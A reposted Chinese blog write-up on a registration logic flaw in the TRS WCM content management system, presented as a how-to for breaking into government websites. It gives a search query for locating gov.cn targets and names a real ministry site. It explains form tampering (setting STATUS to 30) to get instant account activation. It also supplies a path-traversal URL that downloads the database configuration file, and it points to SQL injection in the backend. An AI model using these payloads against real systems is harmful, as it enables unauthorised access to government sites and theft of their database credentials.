（转载）TRS内容管理平台用户注册逻辑漏洞

最新推荐文章于 2024-08-26 17:37:40 发布

转载最新推荐文章于 2024-08-26 17:37:40 发布 · 336 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/cookies9/p/3915028.html

文章标签：

#数据库 #java

本文详细介绍了TRSCMS内容管理系统中的一项安全漏洞，包括如何利用该漏洞进行注册并获得后台访问权限，以及如何通过SQL注入直接操作数据库，下载数据库配置文件等内容。

首先

site:gov.cn inurl:WCM

TRS 的内容管理系统是国内政府网站使用最多的系统之一

如上面所说：外交部 http://wcm.fmprc.gov.cn/wcm/

网址加上：wcm/console/auth/reg_newuser.jsp

http://localhost:9999/wcm/console/auth/reg_newuser.jsp

注册，注意使用fireBUG修改表单，注意下图

即将随意表单改成 STATUS 值为 30，或增加STATUS字段表单。

然后提交注册

虽然说是“请等待开通！”，但实际上已经开通了，因为 STATUS 字段让我们改成正常了。

直接登陆

虽然没什么权限，但后台存在大量注入等漏洞

如：

可以通过注入直接操作数据库了。

http://localhost:9999/wcm/file/read_file.jsp?FileName=U020120628383491551127/../../../../../Tomcat/webapps/wcm/WEB-INF/classes/trsconfig/domain/config.xml&sDownName=xx

直接下载数据库配置文件